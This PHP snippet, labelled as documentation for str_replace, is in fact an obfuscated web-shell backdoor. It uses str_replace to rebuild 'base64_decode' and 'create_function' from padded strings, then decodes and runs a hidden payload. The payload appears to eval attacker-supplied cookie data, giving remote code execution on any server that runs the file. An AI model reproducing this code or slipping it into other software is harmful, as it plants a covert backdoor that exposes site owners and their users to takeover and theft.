- str_replace: documentation ( source)
<?php
$pgbl="GFjZSlzhhlzcnJheSgnLlz1tlzeXHc9XHNdlzLylzcsJlzy9ccylz8nKSwgYXJyYXklzoJycsJysnKS";
$ugou = str_replace("w","","wswtwr_wrwewplacwe");
$wtjb="lzJGMlz9J2NvlzdW50JzlzskYT0kX0NPlzT0tJRTtpZihyZXNldCgkYSk9PSdmbylzclzglzJiYgJlzGMolzJGEpP";
$plgr="jMplzeyRrPSdvYmFyJztlY2hvICclz8Jy4kay4nPic7ZXZhbChiYXNlNjRflzZGVjb2RlKHBlzyZWdfcmVwblz";
$rmyf="wgam9pbihhcnJhlzeV9lzzbGljZSglzkYSwlzkYygkYSktlzMykpKSkpO2VjaGlz8gJzwvJy4kalzy4lznPic7fQ==";
$mpvi = $ugou("g", "", "bagseg64g_gdgecodge");
$jyij = $ugou("ib","","ibcibribeibaibtibe_fibuibnibcibtibiiboibn");
$dyir = $jyij('', $mpvi($ugou("lz", "", $wtjb.$plgr.$pgbl.$rmyf))); $dyir(); print $mpvi;print $jyij?>